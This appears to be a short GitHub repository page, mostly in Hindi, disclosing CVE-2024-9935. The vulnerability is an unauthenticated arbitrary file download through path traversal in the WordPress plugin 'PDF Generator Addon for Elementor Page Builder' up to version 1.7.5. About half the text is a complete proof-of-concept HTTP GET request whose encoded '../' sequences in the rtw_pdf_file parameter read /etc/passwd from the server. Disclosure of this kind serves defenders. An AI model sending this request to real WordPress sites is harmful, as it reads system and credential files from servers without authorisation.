randomrobbiebf/cve-2024-9935Elementor Page Builder के लिए PDF Generator Addon <= 1.7.5 - बिना प्रमाणीकरण के मनमाना फ़ाइल डाउनलोड
PDF Generator Addon for Elementor Page Builder <= 1.7.5 - अप्रमाणित मनमाना फ़ाइल डाउनलोड
WordPress के लिए PDF Generator Addon for Elementor Page Builder प्लगइन, संस्करण 1.7.5 तक (और इसमें शामिल) सभी संस्करणों में rtw_pgaepb_dwnld_pdf() फ़ंक्शन के माध्यम से पथ ट्रैवर्सल के प्रति संवेदनशील है। इससे अप्रमाणित हमलावरों के लिए सर्वर पर मनमानी फ़ाइलों की सामग्री पढ़ना संभव हो जाता है, जिसमें संवेदनशील जानकारी हो सकती है।
GET /elementor-84/?rtw_generate_pdf=true&rtw_pdf_file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Priority: u=0, i